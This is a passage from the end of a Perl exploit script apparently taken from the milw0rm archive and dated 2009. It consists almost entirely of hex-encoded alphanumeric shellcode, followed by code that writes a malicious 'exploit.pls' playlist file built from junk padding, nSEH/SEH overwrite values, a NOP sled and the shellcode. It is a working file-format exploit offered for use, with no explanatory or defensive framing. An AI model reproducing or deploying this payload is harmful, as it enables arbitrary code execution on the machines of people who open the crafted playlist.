"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34".
"\x42\x50\x42\x50\x42\x30\x4b\x38\x45\x34\x4e\x43\x4b\x48\x4e\x47".
"\x45\x30\x4a\x47\x41\x50\x4f\x4e\x4b\x48\x4f\x44\x4a\x41\x4b\x48".
"\x4f\x55\x42\x52\x41\x30\x4b\x4e\x49\x54\x4b\x58\x46\x43\x4b\x38".
"\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x48\x42\x4c".
"\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x43\x46\x55\x46\x32\x46\x30\x45\x47\x45\x4e\x4b\x48".
"\x4f\x35\x46\x32\x41\x30\x4b\x4e\x48\x56\x4b\x58\x4e\x30\x4b\x44".
"\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x51\x4b\x48".
"\x41\x50\x4b\x4e\x49\x58\x4e\x55\x46\x42\x46\x30\x43\x4c\x41\x33".
"\x42\x4c\x46\x36\x4b\x38\x42\x44\x42\x53\x45\x48\x42\x4c\x4a\x37".
"\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x58\x42\x57\x4e\x51\x4d\x4a".
"\x4b\x38\x4a\x36\x4a\x50\x4b\x4e\x49\x30\x4b\x48\x42\x48\x42\x4b".
"\x42\x50\x42\x50\x42\x50\x4b\x48\x4a\x56\x4e\x33\x4f\x35\x41\x53".
"\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x57".
"\x42\x35\x4a\x46\x42\x4f\x4c\x58\x46\x50\x4f\x55\x4a\x36\x4a\x59".
"\x50\x4f\x4c\x38\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x36\x41\x56".
"\x4e\x56\x43\x46\x42\x30\x5a";
open(myfile,'>> exploit.pls');
print myfile $header.$junk.$nseh.$seh.$nop.$shellcode;

# milw0rm.com [2009-07-01]